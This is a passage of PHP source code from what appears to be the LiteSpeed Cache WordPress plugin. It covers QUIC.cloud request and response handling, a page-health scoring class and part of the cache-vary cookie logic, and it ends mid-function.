		}

		$url = $server . '/' . $this->_maybe_queue($service);

		self::debug('posting to : ' . $url);

		if ($data) {
			$data['service_type'] = $service; // For queue distribution usage
		}

		// Encrypt service as signature
		// $signature_ts = time();
		// $sign_data = array(
		// 'service_tag' => $service_tag,
		// 'ts' => $signature_ts,
		// );
		// $data['signature_b64'] = $this->_sign_b64(implode('', $sign_data));
		// $data['signature_ts'] = $signature_ts;

		self::debug('data', $data);
		$param = array(
			'site_url' => site_url(), // Need to use site_url() as WPML case may change home_url() for diff langs (no need to treat as alias for multi langs)
			'main_domain' => !empty($this->_summary['main_domain']) ? $this->_summary['main_domain'] : '',
			'wp_pk_b64' => !empty($this->_summary['pk_b64']) ? $this->_summary['pk_b64'] : '',
			'ver' => Core::VER,
			'data' => $data,
		);

		self::save_summary(array( 'curr_request.' . $service_tag => time() ));
		File::save($this->_qc_time_file($service_tag, 'curr'), time(), true);

		$response = wp_safe_remote_post($url, array(
			'body' => $param,
			'timeout' => $time_out ?: 15,
			'headers' => array(
				'Accept' => 'application/json',
				'Expect' => '',
			),
		));

		return $this->_parse_response($response, $service, $service_tag, $server);
	}

	/**
	 * Parse response JSON
	 * Mark the request successful if the response status is ok
	 *
	 * @since  3.0
	 */
	private function _parse_response( $response, $service, $service_tag, $server ) {
		// If show the error or not if failed
		$visible_err = $service !== self::API_VER && $service !== self::API_NEWS && $service !== self::SVC_D_DASH;

		if (is_wp_error($response)) {
			$error_message = $response->get_error_message();
			self::debug('failed to request: ' . $error_message);

			if ($visible_err) {
				$msg = __('Failed to request via WordPress', 'litespeed-cache') . ': ' . $error_message . " [server] $server [service] $service";
				Admin_Display::error($msg);

				// Tmp disabled this node from reusing in 1 day
				if (empty($this->_summary['disabled_node'])) {
					$this->_summary['disabled_node'] = array();
				}
				$this->_summary['disabled_node'][$server] = time();
				self::save_summary();

				// Force redetect node
				self::debug('Node error, redetecting node [svc] ' . $service);
				$this->detect_cloud($service, true);
			}
			return false;
		}

		$json = \json_decode($response['body'], true);

		if (!is_array($json)) {
			self::debugErr('failed to decode response json: ' . $response['body']);

			if ($visible_err) {
				$msg = __('Failed to request via WordPress', 'litespeed-cache') . ': ' . $response['body'] . " [server] $server [service] $service";
				Admin_Display::error($msg);

				// Tmp disabled this node from reusing in 1 day
				if (empty($this->_summary['disabled_node'])) {
					$this->_summary['disabled_node'] = array();
				}
				$this->_summary['disabled_node'][$server] = time();
				self::save_summary();

				// Force redetect node
				self::debugErr('Node error, redetecting node [svc] ' . $service);
				$this->detect_cloud($service, true);
			}

			return false;
		}

		// Check and save TTL data
		if (!empty($json['_ttl'])) {
			$ttl = intval($json['_ttl']);
			self::debug('Service TTL to save: ' . $ttl);
			if ($ttl > 0 && $ttl < 86400) {
				self::save_summary(array(
					'ttl.' . $service_tag => $ttl + time(),
				));
			}
		}

		if (!empty($json['_code'])) {
			self::debugErr('Hit err _code: ' . $json['_code']);
			if ($json['_code'] == 'unpulled_images') {
				$msg = __('Cloud server refused the current request due to unpulled images. Please pull the images first.', 'litespeed-cache');
				Admin_Display::error($msg);
				return false;
			}
			if ($json['_code'] == 'blocklisted') {
				$msg = __('Your domain_key has been temporarily blocklisted to prevent abuse. You may contact support at QUIC.cloud to learn more.', 'litespeed-cache');
				Admin_Display::error($msg);
				return false;
			}

			if ($json['_code'] == 'rate_limit') {
				self::debugErr('Cloud server rate limit exceeded.');
				$msg = __('Cloud server refused the current request due to rate limiting. Please try again later.', 'litespeed-cache');
				Admin_Display::error($msg);
				return false;
			}

			if ($json['_code'] == 'heavy_load' || $json['_code'] == 'redetect_node') {
				// Force redetect node
				self::debugErr('Node redetecting node [svc] ' . $service);
				Admin_Display::info(__('Redetected node', 'litespeed-cache') . ': ' . Error::msg($json['_code']));
				$this->detect_cloud($service, true);
			}
		}

		if (!empty($json['_503'])) {
			self::debugErr('service 503 unavailable temporarily. ' . $json['_503']);

			$msg  = __(
				'We are working hard to improve your online service experience. The service will be unavailable while we work. We apologize for any inconvenience.',
				'litespeed-cache'
			);
			$msg .= ' ' . $json['_503'] . " [server] $server [service] $service";
			Admin_Display::error($msg);

			// Force redetect node
			self::debugErr('Node error, redetecting node [svc] ' . $service);
			$this->detect_cloud($service, true);

			return false;
		}

		list($json, $return) = $this->extract_msg($json, $service, $server);
		if ($return) {
			return false;
		}

		$curr_request = $this->_summary['curr_request.' . $service_tag];
		self::save_summary(array(
			'last_request.' . $service_tag => $curr_request,
			'curr_request.' . $service_tag => 0,
		));
		File::save($this->_qc_time_file($service_tag), $curr_request, true);
		File::save($this->_qc_time_file($service_tag, 'curr'), 0, true);

		if ($json) {
			self::debug2('response ok', $json);
		} else {
			self::debug2('response ok');
		}

		// Only successful request return Array
		return $json;
	}

	/**
	 * Extract msg from json
	 *
	 * @since 5.0
	 */
	public function extract_msg( $json, $service, $server = false, $is_callback = false ) {
		if (!empty($json['_info'])) {
			self::debug('_info: ' . $json['_info']);
			$msg  = __('Message from QUIC.cloud server', 'litespeed-cache') . ': ' . $json['_info'];
			$msg .= $this->_parse_link($json);
			Admin_Display::info($msg);
			unset($json['_info']);
		}

		if (!empty($json['_note'])) {
			self::debug('_note: ' . $json['_note']);
			$msg  = __('Message from QUIC.cloud server', 'litespeed-cache') . ': ' . $json['_note'];
			$msg .= $this->_parse_link($json);
			Admin_Display::note($msg);
			unset($json['_note']);
		}

		if (!empty($json['_success'])) {
			self::debug('_success: ' . $json['_success']);
			$msg  = __('Good news from QUIC.cloud server', 'litespeed-cache') . ': ' . $json['_success'];
			$msg .= $this->_parse_link($json);
			Admin_Display::success($msg);
			unset($json['_success']);
		}

		// Upgrade is required
		if (!empty($json['_err_req_v'])) {
			self::debug('_err_req_v: ' . $json['_err_req_v']);
			$msg =
				sprintf(__('%1$s plugin version %2$s required for this action.', 'litespeed-cache'), Core::NAME, 'v' . $json['_err_req_v'] . '+') .
				" [server] $server [service] $service";

			// Append upgrade link
			$msg2 = ' ' . GUI::plugin_upgrade_link(Core::NAME, Core::PLUGIN_NAME, $json['_err_req_v']);

			$msg2 .= $this->_parse_link($json);
			Admin_Display::error($msg . $msg2);
			return array( $json, true );
		}

		// Parse _carry_on info
		if (!empty($json['_carry_on'])) {
			self::debug('Carry_on usage', $json['_carry_on']);
			// Store generic info
			foreach (array( 'usage', 'promo', 'mini_html', 'partner', '_error', '_info', '_note', '_success' ) as $v) {
				if (isset($json['_carry_on'][$v])) {
					switch ($v) {
						case 'usage':
                        $usage_svc_tag                             = in_array($service, array( self::SVC_CCSS, self::SVC_UCSS, self::SVC_VPI )) ? self::SVC_PAGE_OPTM : $service;
                        $this->_summary['usage.' . $usage_svc_tag] = $json['_carry_on'][$v];
							break;

						case 'promo':
                        if (empty($this->_summary[$v]) || !is_array($this->_summary[$v])) {
								$this->_summary[$v] = array();
							}
                        $this->_summary[$v][] = $json['_carry_on'][$v];
							break;

						case 'mini_html':
                        foreach ($json['_carry_on'][$v] as $k2 => $v2) {
								if (strpos($k2, 'ttl.') === 0) {
                                $v2 += time();
									}
								$this->_summary[$v][$k2] = $v2;
							}
							break;

						case 'partner':
                        $this->_summary[$v] = $json['_carry_on'][$v];
							break;

						case '_error':
						case '_info':
						case '_note':
						case '_success':
                        $color_mode = substr($v, 1);
                        $msgs       = $json['_carry_on'][$v];
                        Admin_Display::add_unique_notice($color_mode, $msgs, true);
							break;

						default:
							break;
					}
				}
			}
			self::save_summary();
			unset($json['_carry_on']);
		}

		// Parse general error msg
		if (!$is_callback && (empty($json['_res']) || $json['_res'] !== 'ok')) {
			$json_msg = !empty($json['_msg']) ? $json['_msg'] : 'unknown';
			self::debug('❌ _err: ' . $json_msg, $json);

			$str_translated = Error::msg($json_msg);
			$msg            = __('Failed to communicate with QUIC.cloud server', 'litespeed-cache') . ': ' . $str_translated . " [server] $server [service] $service";
			$msg           .= $this->_parse_link($json);
			$visible_err    = $service !== self::API_VER && $service !== self::API_NEWS && $service !== self::SVC_D_DASH;
			if ($visible_err) {
				Admin_Display::error($msg);
			}

			// QC may try auto alias
			/** @since 5.0 Store the domain as `err_domains` only for QC auto alias feature */
			if ($json_msg == 'err_alias') {
				if (empty($this->_summary['err_domains'])) {
					$this->_summary['err_domains'] = array();
				}
				$site_url = site_url();
				if (!array_key_exists($site_url, $this->_summary['err_domains'])) {
					$this->_summary['err_domains'][$site_url] = time();
				}
				self::save_summary();
			}

			// Site not on QC, reset QC connection registration
			if ($json_msg == 'site_not_registered' || $json_msg == 'err_key') {
				$this->_reset_qc_reg();
			}

			return array( $json, true );
		}

		unset($json['_res']);
		if (!empty($json['_msg'])) {
			unset($json['_msg']);
		}

		return array( $json, false );
	}

	/**
	 * Clear QC linked status
	 *
	 * @since 5.0
	 */
	private function _reset_qc_reg() {
		unset($this->_summary['qc_activated']);
		if (!empty($this->_summary['partner'])) {
			unset($this->_summary['partner']);
		}
		self::save_summary();

		$msg = $this->_reset_qc_reg_content();
		Admin_Display::error($msg, false, true);
	}

	private function _reset_qc_reg_content() {
		$msg  = __('Site not recognized. QUIC.cloud deactivated automatically. Please reactivate your QUIC.cloud account.', 'litespeed-cache');
		$msg .= Doc::learn_more(admin_url('admin.php?page=litespeed'), __('Click here to proceed.', 'litespeed-cache'), true, false, true);
		$msg .= Doc::learn_more('https://docs.litespeedtech.com/lscache/lscwp/general/', false, false, false, true);
		return $msg;
	}

	private function _clear_reset_qc_reg_msg() {
		self::debug('Removed pinned reset QC reg content msg');
		$msg = $this->_reset_qc_reg_content();
		Admin_Display::dismiss_pin_by_content($msg, Admin_Display::NOTICE_RED, true);
	}

	/**
	 * REST call: check if the error domain is valid call for auto alias purpose
	 *
	 * @since 5.0
	 */
	public function rest_err_domains() {
		if (empty($_POST['main_domain']) || empty($_POST['alias'])) {
			return self::err('lack_of_param');
		}

		$this->extract_msg($_POST, 'Quic.cloud', false, true);

		if ($this->_is_err_domain($_POST['alias'])) {
			if ($_POST['alias'] == site_url()) {
				$this->_remove_domain_from_err_list($_POST['alias']);
			}
			return self::ok();
		}

		return self::err('Not an alias req from here');
	}

	/**
	 * Remove a domain from err domain
	 *
	 * @since 5.0
	 */
	private function _remove_domain_from_err_list( $url ) {
		unset($this->_summary['err_domains'][$url]);
		self::save_summary();
	}

	/**
	 * Check if is err domain
	 *
	 * @since 5.0
	 */
	private function _is_err_domain( $site_url ) {
		if (empty($this->_summary['err_domains'])) {
			return false;
		}
		if (!array_key_exists($site_url, $this->_summary['err_domains'])) {
			return false;
		}
		// Auto delete if too long ago
		if (time() - $this->_summary['err_domains'][$site_url] > 86400 * 10) {
			$this->_remove_domain_from_err_list($site_url);

			return false;
		}
		if (time() - $this->_summary['err_domains'][$site_url] > 86400) {
			return false;
		}
		return true;
	}

	/**
	 * Show promo from cloud
	 *
	 * @since  3.0
	 * @access public
	 */
	public function show_promo() {
		if (empty($this->_summary['promo'])) {
			return;
		}

		require_once LSCWP_DIR . 'tpl/banner/cloud_promo.tpl.php';
	}

	/**
	 * Clear promo from cloud
	 *
	 * @since  3.0
	 * @access private
	 */
	private function _clear_promo() {
		if (count($this->_summary['promo']) > 1) {
			array_shift($this->_summary['promo']);
		} else {
			$this->_summary['promo'] = array();
		}
		self::save_summary();
	}

	/**
	 * Parse _links from json
	 *
	 * @since  1.6.5
	 * @since  1.6.7 Self clean the parameter
	 * @access private
	 */
	private function _parse_link( &$json ) {
		$msg = '';

		if (!empty($json['_links'])) {
			foreach ($json['_links'] as $v) {
				$msg .= ' ' . sprintf('<a href="%s" class="%s" target="_blank">%s</a>', $v['link'], !empty($v['cls']) ? $v['cls'] : '', $v['title']);
			}

			unset($json['_links']);
		}

		return $msg;
	}

	/**
	 * Request callback validation from Cloud
	 *
	 * @since  3.0
	 * @access public
	 */
	public function ip_validate() {
		if (empty($_POST['hash'])) {
			return self::err('lack_of_params');
		}

		if ($_POST['hash'] != md5(substr($this->_summary['pk_b64'], 0, 4))) {
			self::debug('__callback IP request decryption failed');
			return self::err('err_hash');
		}

		Control::set_nocache('Cloud IP hash validation');

		$resp_hash = md5(substr($this->_summary['pk_b64'], 2, 4));

		self::debug('__callback IP request hash: ' . $resp_hash);

		return self::ok(array( 'hash' => $resp_hash ));
	}

	/**
	 * Check if this visit is from cloud or not
	 *
	 * @since  3.0
	 */
	public function is_from_cloud() {
		// return true;
		$check_point = time() - 86400 * self::TTL_IPS;
		if (empty($this->_summary['ips']) || empty($this->_summary['ips_ts']) || $this->_summary['ips_ts'] < $check_point) {
			self::debug('Force updating ip as ips_ts is older than ' . self::TTL_IPS . ' days');
			$this->_update_ips();
		}

		$res = $this->cls('Router')->ip_access($this->_summary['ips']);
		if (!$res) {
			self::debug('❌ Not our cloud IP');

			// Auto check ip list again but need an interval limit safety.
			if (empty($this->_summary['ips_ts_runner']) || time() - $this->_summary['ips_ts_runner'] > 600) {
				self::debug('Force updating ip as ips_ts_runner is older than 10mins');
				// Refresh IP list for future detection
				$this->_update_ips();
				$res = $this->cls('Router')->ip_access($this->_summary['ips']);
				if (!$res) {
					self::debug('❌ 2nd time: Not our cloud IP');
				} else {
					self::debug('✅ Passed Cloud IP verification');
				}
				return $res;
			}
		} else {
			self::debug('✅ Passed Cloud IP verification');
		}

		return $res;
	}

	/**
	 * Update Cloud IP list
	 *
	 * @since 4.2
	 */
	private function _update_ips() {
		self::debug('Load remote Cloud IP list from ' . $this->_cloud_ips);
		// Prevent multiple call in a short period
		self::save_summary(array(
			'ips_ts' => time(),
			'ips_ts_runner' => time(),
		));

		$response = wp_safe_remote_get($this->_cloud_ips . '?json');
		if (is_wp_error($response)) {
			$error_message = $response->get_error_message();
			self::debug('failed to get ip whitelist: ' . $error_message);
			throw new \Exception('Failed to fetch QUIC.cloud whitelist ' . $error_message);
		}

		$json = \json_decode($response['body'], true);

		self::debug('Load ips', $json);
		self::save_summary(array( 'ips' => $json ));
	}

	/**
	 * Return succeeded response
	 *
	 * @since  3.0
	 */
	public static function ok( $data = array() ) {
		$data['_res'] = 'ok';
		return $data;
	}

	/**
	 * Return error
	 *
	 * @since  3.0
	 */
	public static function err( $code ) {
		self::debug("❌ Error response code: $code");
		return array(
			'_res' => 'err',
			'_msg' => $code,
		);
	}

	/**
	 * Return pong for ping to check PHP function availability
	 *
	 * @since 6.5
	 */
	public function ping() {
		$resp = array(
			'v_lscwp' => Core::VER,
			'v_lscwp_db' => $this->conf(self::_VER),
			'v_php' => PHP_VERSION,
			'v_wp' => $GLOBALS['wp_version'],
			'home_url' => home_url(),
			'site_url' => site_url(),
		);
		if (!empty($_POST['funcs'])) {
			foreach ($_POST['funcs'] as $v) {
				$resp[$v] = function_exists($v) ? 'y' : 'n';
			}
		}
		if (!empty($_POST['classes'])) {
			foreach ($_POST['classes'] as $v) {
				$resp[$v] = class_exists($v) ? 'y' : 'n';
			}
		}
		if (!empty($_POST['consts'])) {
			foreach ($_POST['consts'] as $v) {
				$resp[$v] = defined($v) ? 'y' : 'n';
			}
		}
		return self::ok($resp);
	}

	/**
	 * Display a banner for dev env if using preview QC node.
	 *
	 * @since 7.0
	 */
	public function maybe_preview_banner() {
		if (strpos($this->_cloud_server, 'preview.')) {
			Admin_Display::note(__('Linked to QUIC.cloud preview environment, for testing purpose only.', 'litespeed-cache'), true, true, 'litespeed-warning-bg');
		}
	}

	/**
	 * Handle all request actions from main cls
	 *
	 * @since  3.0
	 * @access public
	 */
	public function handler() {
		$type = Router::verify_type();

		switch ($type) {
			case self::TYPE_CLEAR_CLOUD:
            $this->clear_cloud();
				break;

			case self::TYPE_REDETECT_CLOUD:
            if (!empty($_GET['svc'])) {
					$this->detect_cloud($_GET['svc'], true);
				}
				break;

			case self::TYPE_CLEAR_PROMO:
            $this->_clear_promo();
				break;

			case self::TYPE_RESET:
            $this->reset_qc();
				break;

			case self::TYPE_ACTIVATE:
            $this->init_qc();
				break;

			case self::TYPE_LINK:
            $this->link_qc();
				break;

			case self::TYPE_ENABLE_CDN:
            $this->enable_cdn();
				break;

			case self::TYPE_API:
            if (!empty($_GET['action2'])) {
					$this->api_link_call($_GET['action2']);
				}
				break;

			case self::TYPE_SYNC_STATUS:
            $this->load_qc_status_for_dash('cdn_dash', true);
            $msg = __('Sync QUIC.cloud status successfully.', 'litespeed-cache');
            Admin_Display::success($msg);
				break;

			case self::TYPE_SYNC_USAGE:
            $this->sync_usage();

            $msg = __('Sync credit allowance with Cloud Server successfully.', 'litespeed-cache');
            Admin_Display::success($msg);
				break;

			default:
				break;
		}

		Admin::redirect();
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/src/health.cls.php000064400000005523151031165260017621 0ustar00<?php
// phpcs:ignoreFile
/**
 * The page health
 *
 * @since      3.0
 * @package    LiteSpeed
 */
namespace LiteSpeed;

defined('WPINC') || exit();

class Health extends Base {

	const TYPE_SPEED = 'speed';
	const TYPE_SCORE = 'score';

	protected $_summary;

	/**
	 * Init
	 *
	 * @since  3.0
	 */
	public function __construct() {
		$this->_summary = self::get_summary();
	}

	/**
	 * Test latest speed
	 *
	 * @since 3.0
	 */
	private function _ping( $type ) {
		$data = array( 'action' => $type );

		$json = Cloud::post(Cloud::SVC_HEALTH, $data, 600);

		if (empty($json['data']['before']) || empty($json['data']['after'])) {
			Debug2::debug('[Health] ❌ no data');
			return false;
		}

		$this->_summary[$type . '.before'] = $json['data']['before'];
		$this->_summary[$type . '.after']  = $json['data']['after'];

		self::save_summary();

		Debug2::debug('[Health] saved result');
	}

	/**
	 * Generate scores
	 *
	 * @since 3.0
	 */
	public function scores() {
		$speed_before = $speed_after = $speed_improved = 0;
		if (!empty($this->_summary['speed.before']) && !empty($this->_summary['speed.after'])) {
			// Format loading time
			$speed_before = $this->_summary['speed.before'] / 1000;
			if ($speed_before < 0.01) {
				$speed_before = 0.01;
			}
			$speed_before = number_format($speed_before, 2);

			$speed_after = $this->_summary['speed.after'] / 1000;
			if ($speed_after < 0.01) {
				$speed_after = number_format($speed_after, 3);
			} else {
				$speed_after = number_format($speed_after, 2);
			}

			$speed_improved = (($this->_summary['speed.before'] - $this->_summary['speed.after']) * 100) / $this->_summary['speed.before'];
			if ($speed_improved > 99) {
				$speed_improved = number_format($speed_improved, 2);
			} else {
				$speed_improved = number_format($speed_improved);
			}
		}

		$score_before = $score_after = $score_improved = 0;
		if (!empty($this->_summary['score.before']) && !empty($this->_summary['score.after'])) {
			$score_before = $this->_summary['score.before'];
			$score_after  = $this->_summary['score.after'];

			// Format Score
			$score_improved = (($score_after - $score_before) * 100) / $score_after;
			if ($score_improved > 99) {
				$score_improved = number_format($score_improved, 2);
			} else {
				$score_improved = number_format($score_improved);
			}
		}

		return array(
			'speed_before' => $speed_before,
			'speed_after' => $speed_after,
			'speed_improved' => $speed_improved,
			'score_before' => $score_before,
			'score_after' => $score_after,
			'score_improved' => $score_improved,
		);
	}

	/**
	 * Handle all request actions from main cls
	 *
	 * @since  3.0
	 * @access public
	 */
	public function handler() {
		$type = Router::verify_type();

		switch ($type) {
			case self::TYPE_SPEED:
			case self::TYPE_SCORE:
            $this->_ping($type);
				break;

			default:
				break;
		}

		Admin::redirect();
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/src/vary.cls.php000064400000050316151031165260017335 0ustar00<?php
// phpcs:ignoreFile

/**
 * The plugin vary class to manage X-LiteSpeed-Vary
 *
 * @since       1.1.3
 */

namespace LiteSpeed;

defined('WPINC') || exit();

class Vary extends Root {

	const LOG_TAG  = '🔱';
	const X_HEADER = 'X-LiteSpeed-Vary';

	private static $_vary_name       = '_lscache_vary'; // this default vary cookie is used for logged in status check
	private static $_can_change_vary = false; // Currently only AJAX used this

	/**
	 * Adds the actions used for setting up cookies on log in/out.
	 *
	 * Also checks if the database matches the rewrite rule.
	 *
	 * @since 1.0.4
	 */
	// public function init()
	// {
	// $this->_update_vary_name();
	// }

	/**
	 * Update the default vary name if changed
	 *
	 * @since  4.0
	 * @since 7.0 Moved to after_user_init to allow ESI no-vary no conflict w/ LSCACHE_VARY_COOKIE/O_CACHE_LOGIN_COOKIE
	 */
	private function _update_vary_name() {
		$db_cookie = $this->conf(Base::O_CACHE_LOGIN_COOKIE); // [3.0] todo: check if works in network's sites
		// If no vary set in rewrite rule
		if (!isset($_SERVER['LSCACHE_VARY_COOKIE'])) {
			if ($db_cookie) {
				// Check if is from ESI req or not. If from ESI no-vary, no need to set no-cache
				$something_wrong = true;
				if (!empty($_GET[ESI::QS_ACTION]) && !empty($_GET['_control'])) {
					// Have to manually build this checker bcoz ESI is not init yet.
					$control = explode(',', $_GET['_control']);
					if (in_array('no-vary', $control)) {
						self::debug('no-vary control existed, bypass vary_name update');
						$something_wrong  = false;
						self::$_vary_name = $db_cookie;
					}
				}

				if (defined('LITESPEED_CLI') || wp_doing_cron()) {
					$something_wrong = false;
				}

				if ($something_wrong) {
					// Display cookie error msg to admin
					if (is_multisite() ? is_network_admin() : is_admin()) {
						Admin_Display::show_error_cookie();
					}
					Control::set_nocache('❌❌ vary cookie setting error');
				}
			}
			return;
		}
		// If db setting does not exist, skip checking db value
		if (!$db_cookie) {
			return;
		}

		// beyond this point, need to make sure db vary setting is in $_SERVER env.
		$vary_arr = explode(',', $_SERVER['LSCACHE_VARY_COOKIE']);

		if (in_array($db_cookie, $vary_arr)) {
			self::$_vary_name = $db_cookie;
			return;
		}

		if (is_multisite() ? is_network_admin() : is_admin()) {
			Admin_Display::show_error_cookie();
		}
		Control::set_nocache('vary cookie setting lost error');
	}

	/**
	 * Hooks after user init
	 *
	 * @since  4.0
	 */
	public function after_user_init() {
		$this->_update_vary_name();

		// logged in user
		if (Router::is_logged_in()) {
			// If not esi, check cache logged-in user setting
			if (!$this->cls('Router')->esi_enabled()) {
				// If cache logged-in, then init cacheable to private
				if ($this->conf(Base::O_CACHE_PRIV) && !is_admin()) {
					add_action('wp_logout', __NAMESPACE__ . '\Purge::purge_on_logout');

					$this->cls('Control')->init_cacheable();
					Control::set_private('logged in user');
				}
				// No cache for logged-in user
				else {
					Control::set_nocache('logged in user');
				}
			}
			// ESI is on, can be public cache
			elseif (!is_admin()) {
				// Need to make sure vary is using group id
				$this->cls('Control')->init_cacheable();
			}

			// register logout hook to clear login status
			add_action('clear_auth_cookie', array( $this, 'remove_logged_in' ));
		} else {
			// Only after vary init, can detect if is Guest mode or not
			// Here need `self::$_vary_name` to be set first.
			$this->_maybe_guest_mode();

			// Set vary cookie for logging in user, otherwise the user will hit public with vary=0 (guest version)
			add_action('set_logged_in_cookie', array( $this, 'add_logged_in' ), 10, 4);
			add_action('wp_login', __NAMESPACE__ . '\Purge::purge_on_logout');

			$this->cls('Control')->init_cacheable();

			// Check `login page` cacheable setting because they don't go through main WP logic
			add_action('login_init', array( $this->cls('Tag'), 'check_login_cacheable' ), 5);

			if (!empty($_GET['litespeed_guest'])) {
				add_action('wp_loaded', array( $this, 'update_guest_vary' ), 20);
			}
		}

		// Add comment list ESI
		add_filter('comments_array', array( $this, 'check_commenter' ));

		// Set vary cookie for commenter.
		add_action('set_comment_cookies', array( $this, 'append_commenter' ));

		/**
		 * Don't change for REST call because they don't carry on user info usually
		 *
		 * @since 1.6.7
		 */
		add_action('rest_api_init', function () {
			// this hook is fired in `init` hook
			self::debug('Rest API init disabled vary change');
			add_filter('litespeed_can_change_vary', '__return_false');
		});
	}

	/**
	 * Check if is Guest mode or not
	 *
	 * @since  4.0
	 */
	private function _maybe_guest_mode() {
		if (defined('LITESPEED_GUEST')) {
			self::debug('👒👒 Guest mode ' . (LITESPEED_GUEST ? 'predefined' : 'turned off'));
			return;
		}

		if (!$this->conf(Base::O_GUEST)) {
			return;
		}

		// If vary is set, then not a guest
		if (self::has_vary()) {
			return;
		}

		// If has admin QS, then no guest
		if (!empty($_GET[Router::ACTION])) {
			return;
		}

		if (wp_doing_ajax()) {
			return;
		}

		if (wp_doing_cron()) {
			return;
		}

		// If is the request to update vary, then no guest
		// Don't need anymore as it is always ajax call
		// Still keep it in case some WP blocked the lightweight guest vary update script, WP can still update the vary
		if (!empty($_GET['litespeed_guest'])) {
			return;
		}

		/* @ref https://wordpress.org/support/topic/checkout-add-to-cart-executed-twice/ */
		if (!empty($_GET['litespeed_guest_off'])) {
			return;
		}

		self::debug('👒👒 Guest mode');

		!defined('LITESPEED_GUEST') && define('LITESPEED_GUEST', true);

		if ($this->conf(Base::O_GUEST_OPTM)) {
			!defined('LITESPEED_GUEST_OPTM') && define('LITESPEED_GUEST_OPTM', true);
		}
	}

	/**
	 * Update Guest vary
	 *
	 * @since  4.0
	 * @deprecated 4.1 Use independent lightweight guest.vary.php as a replacement
	 */
	public function update_guest_vary() {
		// This process must not be cached
		!defined('LSCACHE_NO_CACHE') && define('LSCACHE_NO_CACHE', true);

		$_guest = new Lib\Guest();
		if ($_guest->always_guest() || self::has_vary()) {
			// If contains vary already, don't reload to avoid infinite loop when parent page having browser cache
			!defined('LITESPEED_GUEST') && define('LITESPEED_GUEST', true); // Reuse this const to bypass set vary in vary finalize
			self::debug('🤠🤠 Guest');
			echo '[]';
			exit();
		}

		self::debug('Will update guest vary in finalize');

		// return json
		echo \json_encode(array( 'reload' => 'yes' ));
		exit();
	}

	/**
	 * Hooked to the comments_array filter.
	 *
	 * Check if the user accessing the page has the commenter cookie.
	 *
	 * If the user does not want to cache commenters, just check if user is commenter.
	 * Otherwise if the vary cookie is set, unset it. This is so that when the page is cached, the page will appear as if the user was a normal user.
	 * Normal user is defined as not a logged in user and not a commenter.
	 *
	 * @since 1.0.4
	 * @access public
	 * @global type $post
	 * @param array $comments The current comments to output
	 * @return array The comments to output.
	 */
	public function check_commenter( $comments ) {
		/**
		 * Hook to bypass pending comment check for comment related plugins compatibility
		 *
		 * @since 2.9.5
		 */
		if (apply_filters('litespeed_vary_check_commenter_pending', true)) {
			$pending = false;
			foreach ($comments as $comment) {
				if (!$comment->comment_approved) {
					// current user has pending comment
					$pending = true;
					break;
				}
			}

			// No pending comments, don't need to add private cache
			if (!$pending) {
				self::debug('No pending comment');
				$this->remove_commenter();

				// Remove commenter prefilled info if exists, for public cache
				foreach ($_COOKIE as $cookie_name => $cookie_value) {
					if (strlen($cookie_name) >= 15 && strpos($cookie_name, 'comment_author_') === 0) {
						unset($_COOKIE[$cookie_name]);
					}
				}

				return $comments;
			}
		}

		// Current user/visitor has pending comments
		// set vary=2 for next time vary lookup
		$this->add_commenter();

		if ($this->conf(Base::O_CACHE_COMMENTER)) {
			Control::set_private('existing commenter');
		} else {
			Control::set_nocache('existing commenter');
		}

		return $comments;
	}

	/**
	 * Check if default vary has a value
	 *
	 * @since 1.1.3
	 * @access public
	 */
	public static function has_vary() {
		if (empty($_COOKIE[self::$_vary_name])) {
			return false;
		}
		return $_COOKIE[self::$_vary_name];
	}

	/**
	 * Append user status with logged in
	 *
	 * @since 1.1.3
	 * @since 1.6.2 Removed static referral
	 * @access public
	 */
	public function add_logged_in( $logged_in_cookie = false, $expire = false, $expiration = false, $uid = false ) {
		self::debug('add_logged_in');

		/**
		 * NOTE: Run before `$this->_update_default_vary()` to make vary changeable
		 *
		 * @since  2.2.2
		 */
		self::can_ajax_vary();

		// If the cookie is lost somehow, set it
		$this->_update_default_vary($uid, $expire);
	}

	/**
	 * Remove user logged in status
	 *
	 * @since 1.1.3
	 * @since 1.6.2 Removed static referral
	 * @access public
	 */
	public function remove_logged_in() {
		self::debug('remove_logged_in');

		/**
		 * NOTE: Run before `$this->_update_default_vary()` to make vary changeable
		 *
		 * @since  2.2.2
		 */
		self::can_ajax_vary();

		// Force update vary to remove login status
		$this->_update_default_vary(-1);
	}

	/**
	 * Allow vary can be changed for ajax calls
	 *
	 * @since 2.2.2
	 * @since 2.6 Changed to static
	 * @access public
	 */
	public static function can_ajax_vary() {
		self::debug('_can_change_vary -> true');
		self::$_can_change_vary = true;
	}

	/**
	 * Check if can change default vary
	 *
	 * @since 1.6.2
	 * @access private
	 */
	private function can_change_vary() {
		// Don't change for ajax due to ajax not sending webp header
		if (Router::is_ajax()) {
			if (!self::$_can_change_vary) {
				self::debug('can_change_vary bypassed due to ajax call');
				return false;
			}
		}

		/**
		 * POST request can set vary to fix #820789 login "loop" guest cache issue
		 *
		 * @since 1.6.5
		 */
		if (isset($_SERVER['REQUEST_METHOD']) && $_SERVER['REQUEST_METHOD'] !== 'GET' && $_SERVER['REQUEST_METHOD'] !== 'POST') {
			self::debug('can_change_vary bypassed due to method not get/post');
			return false;
		}

		/**
		 * Disable vary change if is from crawler
		 *
		 * @since  2.9.8 To enable woocommerce cart not empty warm up (@Taba)
		 */
		if (!empty($_SERVER['HTTP_USER_AGENT']) && strpos($_SERVER['HTTP_USER_AGENT'], Crawler::FAST_USER_AGENT) === 0) {
			self::debug('can_change_vary bypassed due to crawler');
			return false;
		}

		if (!apply_filters('litespeed_can_change_vary', true)) {
			self::debug('can_change_vary bypassed due to litespeed_can_change_vary hook');
			return false;
		}

		return true;
	}

	/**
	 * Update default vary
	 *
	 * @since 1.6.2
	 * @since  1.6.6.1 Add ran check to make it only run once ( No run multiple times due to login process doesn't have valid uid )
	 * @access private
	 */
	private function _update_default_vary( $uid = false, $expire = false ) {
		// Make sure header output only run once
		if (!defined('LITESPEED_DID_' . __FUNCTION__)) {
			define('LITESPEED_DID_' . __FUNCTION__, true);
		} else {
			self::debug2('_update_default_vary bypassed due to run already');
			return;
		}

		// ESI shouldn't change vary (Let main page do only)
		if (defined('LSCACHE_IS_ESI') && LSCACHE_IS_ESI) {
			self::debug2('_update_default_vary bypassed due to ESI');
			return;
		}

		// If the cookie is lost somehow, set it
		$vary         = $this->finalize_default_vary($uid);
		$current_vary = self::has_vary();
		if ($current_vary !== $vary && $current_vary !== 'commenter' && $this->can_change_vary()) {
